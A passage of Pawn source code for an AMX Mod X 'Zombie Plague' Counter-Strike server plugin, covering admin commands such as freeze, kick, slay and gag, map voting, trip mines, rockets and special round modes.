PrintToChat(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x04 frost^x01 due to^x04 camping", g_cName[iPlayer], g_cName[iTarget]);
set_frozen(iTarget, true);
set_glow(iTarget, 19, 32, 0, 50, 90);
g_bFrozen[iTarget] = true;
ExecuteHamB(Ham_Item_PreFrame, iTarget);
return 1;
}
public CmdUnfreeze(iPlayer)
{
if (!GetAccess(iPlayer, 8, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
static iTarget;
iTarget = GetTarget(iPlayer, cArgument, 6);
if (!iTarget)
{
return 1;
}
PrintToChat(0, "^x01[ADMIN]^x04 %s:^x01 made^x04 %s^x03 unfrozen", g_cName[iPlayer], g_cName[iTarget]);
set_frozen(iTarget, false);
remove_glow(iTarget);
g_bFrozen[iTarget] = false;
ExecuteHamB(Ham_Item_PreFrame, iTarget);
return 1;
}
public Command_Kick(iPlayer)
{
if (!GetAccess(iPlayer, 4, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
static iTarget;
iTarget = GetTarget(iPlayer, cArgument, 5);
if (!iTarget)
{
return 1;
}
server_cmd("kick #%i", get_user_userid(iTarget));
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: kick^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
return 1;
}
public Command_Slap(iPlayer)
{
if (!GetAccess(iPlayer, 16, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
static iTarget;
iTarget = GetTarget(iPlayer, cArgument, 6);
if (!iTarget)
{
return 1;
}
user_slap(iTarget, 0, 1);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: slap^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
return 1;
}
public Command_Slay(iPlayer)
{
if (!GetAccess(iPlayer, 16, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
static iTarget;
iTarget = GetTarget(iPlayer, cArgument, 6);
if (!iTarget)
{
return 1;
}
user_kill(iTarget);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: slay^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
return 1;
}
public Command_Map(iPlayer)
{
if (!GetAccess(iPlayer, 1, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
if (is_map_valid(cArgument))
{
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: change map to^x04 %s", g_cName[iPlayer], cArgument);
set_cvar_string("nextmap", cArgument);
set_task(1.0, "TaskInt", 0, "", 0, "", 0);
set_task(3.0, "TaskChangeLevel", 0, "", 0, "", 0);
}
else
{
client_print(iPlayer, 2, "[AMXX] The map you want isn't a valid map!");
}
return 1;
}
public Command_AddFake(iPlayer)
{
if (!GetAccess(iPlayer, 1, 2))
{
return 1;
}
remove_task(750);
set_task(3.0, "Task_CheckBots", 750, "", 0, "b", 0);
return 1;
}
public MessageMoney(iMessage, iDestination, iPlayer)
{
if (g_bConnected[iPlayer])
{
reset_money(iPlayer);
}
return 1;
}
public CmdVoteMap(iPlayer)
{
if (get_user_flags(iPlayer) & 8)
{
if (3 > read_argc())
{
console_print(iPlayer, "[ZP] Command usage is amx_votemap <map> <map>");
return 1;
}
if (g_bVoting || g_bSecondVoting)
{
console_print(iPlayer, "[ZP] You can't start the vote right now..");
return 1;
}
static cSecondMap[32];
static cMap[32];
read_argv(1, cMap, 32);
read_argv(2, cSecondMap, 32);
if (is_map_valid(cMap) && is_map_valid(cSecondMap))
{
static i;
g_bSecondVoting = true;
set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
MessageLog(0, "^x04[ZP]^x01 ADMIN^x04 %s^x01 initiated a vote with^x04 %s^x01 and^x04 %s", g_cName[iPlayer], cMap, cSecondMap);
copy(g_cSecondMaps[0], 32, cMap);
copy(g_cSecondMaps[1], 32, cSecondMap);
g_iMenu = menu_create("Choose the next map!", "SecondVotePanel");
menu_additem(g_iMenu, cMap, "1", 0, -1);
menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
menu_setprop(g_iMenu, 6, -1);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && !g_bFake[i])
{
menu_display(i, g_iMenu);
}
i += 1;
}
}
else
{
console_print(iPlayer, "[ZP] Unable to find specified map or one of the specified map(s)!");
}
return 1;
}
return 0;
}
public VotePanel(iPlayer, iMenu, iItem)
{
if (iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
{
if (g_bVoting)
{
static iKeyMinusDoi;
static iKeyMinusUnu;
static iKey;
static iDummy;
static cData[32];
menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
iKey = str_to_num(cData);
iKeyMinusUnu = iKey + -1;
iKeyMinusDoi = iKey + -2;
if (0 > iKeyMinusUnu)
{
iKeyMinusUnu = 0;
}
if (0 > iKeyMinusDoi)
{
iKeyMinusDoi = 0;
}
if (iKey == 1)
{
if (g_iVotes[0] + 1 == 1)
{
PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
}
else
{
PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
}
}
else
{
if (g_iVotes[iKeyMinusUnu] == 1)
{
PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
}
else
{
PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
}
}
g_iVotes[iKeyMinusUnu]++;
}
else
{
PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
return 1;
}
}
return 0;
}
public SecondVotePanel(iPlayer, iMenu, iItem)
{
if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
{
if (g_bSecondVoting)
{
static iKeyMinusUnu;
static iKey;
static iDummy;
static cData[32];
menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
iKey = str_to_num(cData);
iKeyMinusUnu = iKey + -1;
if (0 > iKeyMinusUnu)
{
iKeyMinusUnu = 0;
}
if (g_iSecondVotes[iKeyMinusUnu] == 1)
{
PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
}
else
{
PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
}
g_iSecondVotes[iKeyMinusUnu]++;
}
else
{
PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
return 1;
}
}
return 0;
}
public TaskInt()
{
send_intermission();
return 0;
}
public TaskChangeLevel()
{
changelevel();
return 0;
}
public CheckSecondVotes(iPlayer)
{
static iVoteOption;
static iMaximumVotes;
g_bSecondVoting = false;
iMaximumVotes = -1;
g_iVariable = 0;
while (g_iVariable < 2)
{
if (iMaximumVotes < g_iSecondVotes[g_iVariable])
{
iMaximumVotes = g_iSecondVotes[g_iVariable];
iVoteOption = g_iVariable;
}
g_iVariable += 1;
}
PrintToChat(0, "^x01The next map will be^x04 %s", g_cSecondMaps[iVoteOption]);
set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
if (g_bConnected[iPlayer] && !g_bFake[iPlayer])
{
g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange");
menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
menu_setprop(g_iMenu, 6, -1);
menu_display(iPlayer, g_iMenu, 0);
}
g_iSecondVotes[1] = 0;
g_iSecondVotes[0] = 0;
return 0;
}
public _MenuChange(iPlayer, iMenu, iItem)
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
switch (iChoice)
{
case 0:
{
static cMap[32];
get_cvar_string("nextmap", cMap, 32);
PrintToChat(0, "^x04[ZP]^x01 Changing map to^x04 %s^x01...", cMap);
set_cvar_num("mp_timelimit", 0);
set_task(1.0, "TaskChangeLevel", 0, "", 0, "", 0);
}
case 1:
{
static cMap[32];
get_cvar_string("nextmap", cMap, 32);
PrintToChat(0, "^x04[ZP]^x01 Console variable^x04 nextmap^x01 has been changed to^x04 %s^x01...", cMap);
set_cvar_num("mp_timelimit", 0);
g_iVariables[0] = 1;
}
case 2:
{
PrintToChat(0, "^x04[ZP]^x01 We will stay here...");
}
}
return 0;
}
public CheckVotes()
{
static iVoteOption;
static iMaximumVotes;
g_bVoting = false;
iMaximumVotes = -1;
g_iVariable = 0;
while (g_iVariable < 5)
{
if (iMaximumVotes < g_iVotes[g_iVariable])
{
iMaximumVotes = g_iVotes[g_iVariable];
iVoteOption = g_iVariable;
}
g_iVariable += 1;
}
if (iVoteOption)
{
PrintToChat(0, "^x01The next map will be^x04 %s", g_cMaps[iVoteOption + -1]);
set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
set_cvar_num("mp_timelimit", 0);
g_iVariables[0] = 1;
}
else
{
PrintToChat(0, "^x01This map will be extended with^x04 10^x01 minutes!");
g_iVariable = 0;
while (g_iVariable < 5)
{
g_iVotes[g_iVariable] = 0;
g_iVariable += 1;
}
set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
}
g_iVariable = 0;
while (g_iVariable < 5)
{
g_iVotes[g_iVariable] = 0;
g_iVariable += 1;
}
return 0;
}
public CheckTimeleft(iDecimal)
{
static Float:fTimeLeft;
fTimeLeft = GetTimeLeft();
if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
{
remove_task(iDecimal);
g_bVoting = true;
set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
g_iMenu = menu_create("Choose the next map!", "VotePanel");
menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
static j[32];
static i;
i = 2;
g_iVariable = 0;
while (g_iVariable < 4)
{
num_to_str(i, j, 32);
menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
i += 1;
g_iVariable += 1;
}
menu_setprop(g_iMenu, 6, -1);
g_iVariable = 1;
while (g_iMaxClients + 1 > g_iVariable)
{
if (g_bConnected[g_iVariable] && !g_bFake[g_iVariable])
{
menu_display(g_iVariable, g_iMenu);
}
g_iVariable += 1;
}
PrintToChat(0, "^x01It's time to^x04 choose the nextmap^x01...");
client_cmd(0, "spk Gman/Gman_Choose2");
}
return 0;
}
Float:GetTimeLeft()
{
return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}
public Command_Plant(iPlayer)
{
if (g_bConnected[iPlayer])
{
if (!g_bAlive[iPlayer])
{
PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
return 0;
}
if (g_bZombie[iPlayer])
{
PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
return 0;
}
if (!g_iTripMines[iPlayer])
{
PrintToChat(iPlayer, "^4[ZP]^1 You don't have a trip mine to plant");
return 0;
}
if (1 < g_iPlantedMines[iPlayer])
{
PrintToChat(iPlayer, "^4[ZP]^1 You can plant only^3 2 trip mines^1...");
return 0;
}
if (g_iRoundType & 128 || g_bRoundEnd)
{
PrintToChat(iPlayer, "^4[ZP]^1 You can't plant a trip mine right now...");
return 0;
}
if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
{
return 0;
}
if (CanPlant(iPlayer))
{
g_bPlanting[iPlayer] = true;
send_bar_time(iPlayer);
set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
}
}
return 0;
}
public Command_Take(iPlayer)
{
if (g_bConnected[iPlayer])
{
if (!g_bAlive[iPlayer])
{
PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
return 0;
}
if (g_bZombie[iPlayer])
{
PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
return 0;
}
if (!g_iPlantedMines[iPlayer])
{
PrintToChat(iPlayer, "^4[ZP]^1 You don't have a planted trip mine");
return 0;
}
if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
{
return 0;
}
if (can(iPlayer))
{
g_bRemoving[iPlayer] = true;
send_bar_time(iPlayer);
set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);
}
}
return 0;
}
public Func_Take(iPlayer)
{
iPlayer += -500;
g_bRemoving[iPlayer] = false;
static iCount;
static iEntities[2];
iCount = ent(iPlayer, iEntities);
if (iCount)
{
g_iPlantedMines[iPlayer]--;
g_iTripMines[iPlayer]++;
if (iEntities[0] == g_iPlayerMines[iPlayer][0])
{
g_iPlayerMines[iPlayer][0] = 0;
}
else if (iEntities[0] == g_iPlayerMines[iPlayer][1])
{
g_iPlayerMines[iPlayer][1] = 0;
}
remove_entity(iEntities[0]);
}
return 0;
}
public bool: CanPlant( iPlayer )
{
static Float:flOrigin[ 3 ];
entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
static Float:flTraceDirection[ 3 ];
static Float:flTraceEnd[ 3 ];
static Float:flTraceResult[ 3 ];
static Float:flNormal[ 3 ];
velocity_by_aim( iPlayer, 64, flTraceDirection );
flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
static Float: flFraction, iTr;
iTr = 0;
engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
get_tr2( iTr, TR_vecEndPos, flTraceResult );
get_tr2( iTr, TR_vecPlaneNormal, flNormal );
get_tr2( iTr, TR_flFraction, flFraction );
if( flFraction >= 1.0 )
{
send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You must plant the^x03 mine^x01 on a wall!");
return false;
}
return true;
}
public Func_Plant(iPlayer)
{
iPlayer -= 450;
g_bPlanting[ iPlayer ] = false;
static iEntity;
static Float: flOrigin[ 3 ];
entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
velocity_by_aim( iPlayer, 128, flTraceDirection );
flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
static Float: flFraction, iTr;
iTr = 0;
engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
get_tr2( iTr, TR_vecEndPos, flTraceResult );
get_tr2( iTr, TR_vecPlaneNormal, flNormal );
get_tr2( iTr, TR_flFraction, flFraction );
iEntity = create_mine();
if(!iEntity)
{
return 0;
}
set_glow(iEntity, 19, 13, 0, 120, 240);
entity_set_int( iEntity, EV_INT_iuser2, iPlayer )
g_iPlantedMines[ iPlayer ]++;
set_pev( iEntity, pev_iuser3, g_iPlantedMines[ iPlayer ] );
entity_set_float( iEntity, EV_FL_frame, 0.0 );
entity_set_float( iEntity, EV_FL_framerate, 0.0 );
entity_set_int( iEntity, EV_INT_movetype, MOVETYPE_FLY );
entity_set_int( iEntity, EV_INT_solid, SOLID_NOT );
entity_set_int( iEntity, EV_INT_body, 3 );
entity_set_int( iEntity, EV_INT_sequence, 7 );
entity_set_float( iEntity, EV_FL_takedamage, DAMAGE_NO );
entity_set_int( iEntity, EV_INT_iuser1, 0 );
static Float: flNewOrigin[ 3 ], Float: flEntAngles[ 3 ];
flNewOrigin[ 0 ] = flTraceResult[ 0 ] + ( flNormal[ 0 ] * 8.0 );
flNewOrigin[ 1 ] = flTraceResult[ 1 ] + ( flNormal[ 1 ] * 8.0 );
flNewOrigin[ 2 ] = flTraceResult[ 2 ] + ( flNormal[ 2 ] * 8.0 );
entity_set_origin( iEntity, flNewOrigin );
vector_to_angle( flNormal, flEntAngles );
entity_set_vector( iEntity, EV_VEC_angles, flEntAngles );
flEntAngles[ 0 ] *= -1.0;
flEntAngles[ 1 ] *= -1.0;
flEntAngles[ 2 ] *= -1.0;
entity_set_vector( iEntity, EV_VEC_v_angle, flEntAngles );
g_iTripMines[iPlayer]--;
if (g_iPlayerMines[iPlayer][0])
{
g_iPlayerMines[iPlayer][1] = iEntity;
}
else
{
g_iPlayerMines[iPlayer][0] = iEntity;
}
sound(iEntity, 3, "zombie_plague/mine_deploy.wav");
sound(iEntity, 3, "zombie_plague/mine_charge.wav");
set_nextthink(iEntity, get_gametime() + 0.6);
return 0;
}
public CmdMode(iPlayer)
{
if (g_bAdmin[iPlayer])
{
static iJetpacks[33];
static AssassinUsed;
static NemesisUsed;
static UsedAlready[33];
static iAmmo;
static cAmmo[4];
static iAlive;
static iTarget;
static cTarget[32];
static iFlags;
static cMode[32];
read_argv(0, cMode, 32);
read_argv(1, cTarget, 31);
read_argv(2, cAmmo, 4);
iAmmo = clamp(str_to_num(cAmmo), 0, 999999);
iAlive = GetAliveCount();
iTarget = GetTarget(iPlayer, cTarget, 0);
iFlags = get_user_flags(iPlayer);
if (get_gametime() - g_fRoundStartTime < 2.0)
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after round started!");
console_print(iPlayer, "[ZP] Please wait at least two seconds after round started!");
return 0;
}
if (equal(cMode, "zp_jetpack") && iTarget && iFlags & 1 && g_bAlive[iTarget] && !g_bZombie[iTarget] && iJetpacks[iPlayer] <= 3)
{
if (get_user_jetpack(iTarget))
{
user_drop_jetpack(iTarget, 1);
}
set_user_jetpack(iTarget, 1);
iJetpacks[iPlayer]++;
set_user_fuel(iTarget, 250.0);
set_user_rocket_time(iTarget, 0.0);
send_say_text(iTarget, g_iMaxClients + 1, "^x04[ZP]^x01 Press^x03 CTR+SPACE^x01 to fly!");
send_say_text(iTarget, g_iMaxClients + 1, "^x04[ZP]^x01 Press^x03 RIGHT CLICK^x01 to shoot!");
}
if (equal(cMode, "zp_giveap") && iTarget && iFlags & 1)
{
PrintToChat(0, "^x01[ADMIN]^x04 %s^x01: give^x04 %d^x01 ammopacks to^x04 %s", g_cName[iPlayer], iAmmo, g_cName[iTarget]);
g_iPacks[iTarget] += iAmmo;
}
if (equal(cMode, "zp_human") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && iAlive > 2 && !g_iRoundType && g_iRoundsCount && iFlags & 131072)
{
if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
{
return 0;
}
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Human", g_cName[iPlayer], g_cName[iTarget]);
MakeHuman(iTarget, false, false);
UsedAlready[iPlayer] = 1;
log_to_file("zombie_plague_advance.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
}
if (equal(cMode, "zp_respawn") && iTarget && !g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && 0 < get_user_team(iTarget) < 3 && iFlags & 131072)
{
ExecuteHamB(Ham_CS_RoundRespawn, iTarget);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: respawned^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
UsedAlready[iPlayer] = 1;
log_to_file("zombie_plague_advance.log", "%s respawn %s", g_cName[iPlayer], g_cName[iTarget]);
}
if (equal(cMode, "zp_zombie") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && iFlags & 131072)
{
if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
{
return 0;
}
if (g_bRoundStart)
{
StartNormalMode(iTarget);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MakeZombie(0, iTarget, false, false, false);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Zombie", g_cName[iPlayer], g_cName[iTarget]);
UsedAlready[iPlayer] = 1;
log_to_file("zombie_plague_advance.log", "%s made %s Zombie", g_cName[iPlayer], g_cName[iTarget]);
}
}
if (equal(cMode, "zp_sniper") && iTarget && g_bAlive[iTarget] && !(g_iPlayerType[iTarget] & 8) && iFlags & 1)
{
if (g_bRoundStart)
{
StartSniperMode(iTarget);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MakeHuman(iTarget, false, true);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Sniper", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("zombie_plague_advance.log", "%s made %s Sniper", g_cName[iPlayer], g_cName[iTarget]);
}
}
if (equal(cMode, "zp_survivor") && iTarget && g_bAlive[iTarget] && !(g_iPlayerType[iTarget] & 4) && iFlags & 1)
{
if (g_bRoundStart)
{
StartSurvivorMode(iTarget);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MakeHuman(iTarget, true, false);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Survivor", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("zombie_plague_advance.log", "%s made %s Survivor", g_cName[iPlayer], g_cName[iTarget]);
}
}
if (equal(cMode, "zp_nemesis") && iTarget && g_bAlive[iTarget] && !NemesisUsed && !(g_iPlayerType[iTarget] & 1) && iFlags & 262144)
{
if (g_bRoundStart)
{
StartNemesisMode(iTarget);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
NemesisUsed = 1;
MakeZombie(0, iTarget, false, true, false);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("zombie_plague_advance.log", "%s made %s Nemesis", g_cName[iPlayer], g_cName[iTarget]);
}
}
if (equal(cMode, "zp_assassin") && iTarget && g_bAlive[iTarget] && !AssassinUsed && !(g_iPlayerType[iTarget] & 2) && iFlags & 262144)
{
if (g_bRoundStart)
{
StartAssassinMode(iTarget);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
AssassinUsed = 1;
MakeZombie(0, iTarget, false, false, true);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Assassin", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("zombie_plague_advance.log", "%s made %s Assassin", g_cName[iPlayer], g_cName[iTarget]);
}
}
if (equal(cMode, "zp_swarm") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 64)
{
StartSwarmMode(true);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Swarm^x01 round!", g_cName[iPlayer]);
}
if (equal(cMode, "zp_plague") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 32)
{
StartPlagueMode(true);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Plague^x01 round!", g_cName[iPlayer]);
}
if (equal(cMode, "zp_lnj") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 128)
{
StartArmageddonMode(true);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Armageddon^x01 round!", g_cName[iPlayer]);
}
if (equal(cMode, "zp_nightmare") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 256)
{
StartNightmareMode(true);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Nightmare^x01 round!", g_cName[iPlayer]);
}
if (equal(cMode, "zp_avs", 0) && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 512)
{
StartAssassinsVsSnipersMode(true);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Assassins vs Snipers^x01 round!", g_cName[iPlayer]);
}
if (equal(cMode, "zp_multi") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 16)
{
StartMultiMode(true);
remove_task(700);
g_bRoundStart = false;
remove_task(550);
MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Multiple Infections^x01 round!", g_cName[iPlayer]);
}
}
return 0;
}
public Command_Flash(iPlayer)
{
if (g_bFlash[iPlayer])
{
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (fCurrentTime - g_fLastTime[iPlayer] < 0.5)
{
return 1;
}
g_fLastTime[iPlayer] = fCurrentTime;
g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
remove_task(iPlayer + 350);
if (g_bFlashEnabled[iPlayer])
{
set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
}
}
return 1;
}
Func_Explode(iOwner, iEntity)
{
static i;
static Float:fDamage;
static iDistance;
static Float:fVelocity[3];
if (iEntity == g_iPlayerMines[iOwner][0])
{
g_iPlayerMines[iOwner][0] = 0;
}
else if (iEntity == g_iPlayerMines[iOwner][1])
{
g_iPlayerMines[iOwner][1] = 0;
}
g_iPlantedMines[iOwner]--;
send_explosion(iEntity);
send_beam_cylinder(iEntity, 121, 121, 121, random_num(140, 200));
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i])
{
iDistance = range(i, iEntity);
if (iDistance < 360)
{
get_velocity(i, fVelocity);
fVelocity [2] += 456.0;
fVelocity [1] += 320.0;
fVelocity [0] += 299.0;
set_velocity(i, fVelocity);
send_screen_shake(i, 150000 , 25000, 135000);
client_cmd(i, "spk fvox/flatline");
if (g_bZombie[i])
{
fDamage = float(floatround(2600.0 - 2600.0 / 400.0 * float(iDistance), floatround_ceil));
PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %0.0f^x01 damage", g_cName[i], fDamage);
send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
if(get_health(i) - fDamage > 0)
{
ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, fDamage, DMG_BLAST);
}
else
{
ExecuteHamB(Ham_Killed, i, iOwner, 2);
}
}
}
}
i += 1;
}
remove_entity(iEntity);
return 0;
}
public Mine_Think(iEntity, iHealth)
{
static bool:bStop;
static iOwner;
bStop = false;
iOwner = iuser2(iEntity);
switch (pev(iEntity, pev_iuser1))
{
case 0:
{
set_pev(iEntity, pev_iuser1, 1);
set_take_damage(iEntity, 2);
set_pev(iEntity, pev_solid, 2);
set_health(iEntity, 1800);
sound(iEntity, 3, "zombie_plague/mine_activate.wav");
}
case 1:
{
iHealth = get_health(iEntity)
if (g_iPlayerMines[iOwner][0] == iEntity)
{
set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
ShowSyncHudMsg(iOwner, g_iFirstMineMessage, "First mine's health: %d", iHealth + -1000);
}
else if (g_iPlayerMines[iOwner][1] == iEntity)
{
set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
ShowSyncHudMsg(iOwner, g_iSecondMineMessage, "Second mine's health: %d", iHealth + -1000);
}
if (iHealth <= 1000.0)
{
Func_Explode(iOwner, iEntity);
bStop = true;
}
}
}
if (!bStop)
{
set_nextthink(iEntity, get_gametime() + 0.1);
}
return 0;
}
public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
{
if (g_bZombie[iOwner])
{
send_beam_follow(iGrenade, 0, 250, 0, 200);
set_pev(iGrenade, pev_flTimeStepSound, 1);
return 0;
}
switch (iGrenadeType)
{
case 4:
{
send_beam_follow(iGrenade, 255, 0, 0, 200);
set_pev(iGrenade, pev_flTimeStepSound, 4);
}
case 9:
{
send_beam_follow(iGrenade, 0, 100, 200, 200);
set_pev(iGrenade, pev_flTimeStepSound, 3);
}
case 25:
{
send_beam_follow(iGrenade, 200, 40, 0, 200);
set_pev(iGrenade, pev_flTimeStepSound, 2);
}
}
return 0;
}
public Rocket_Touch(iOwner, iRocket)
{
static Float:fDamage;
static iDistance;
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && g_bZombie[i])
{
iDistance = range(i, iRocket);
if (iDistance <= 340)
{
fDamage = float(floatround(900.0 - 900.0 / 340.0 * float(iDistance), floatround_ceil));
PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %0.0f^x01 damage", g_cName[i], fDamage);
send_screen_shake(i, 150000, 25000, 135000);
send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
client_cmd(i, "spk fvox/flatline");
if (floatsub(float(get_health(i)), fDamage) > 0)
{
ExecuteHamB(Ham_TakeDamage, i, iRocket, iOwner, fDamage, DMG_BLAST);
}
else
{
ExecuteHamB(Ham_Killed, i, iOwner, 2);
}
}
}
i += 1;
}
return 0;
}
public EventStatusValueHide(iPlayer)
{
ClearSyncHud(iPlayer, g_iCenterMessageSync);
return 0;
}
public TaskRemoveRender(iTask)
{
if (g_bConnected[iTask])
{
remove_glow(iTask);
}
return 0;
}
public Command_Gag(iPlayer)
{
if (!GetAccess(iPlayer, 4, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
static iTarget;
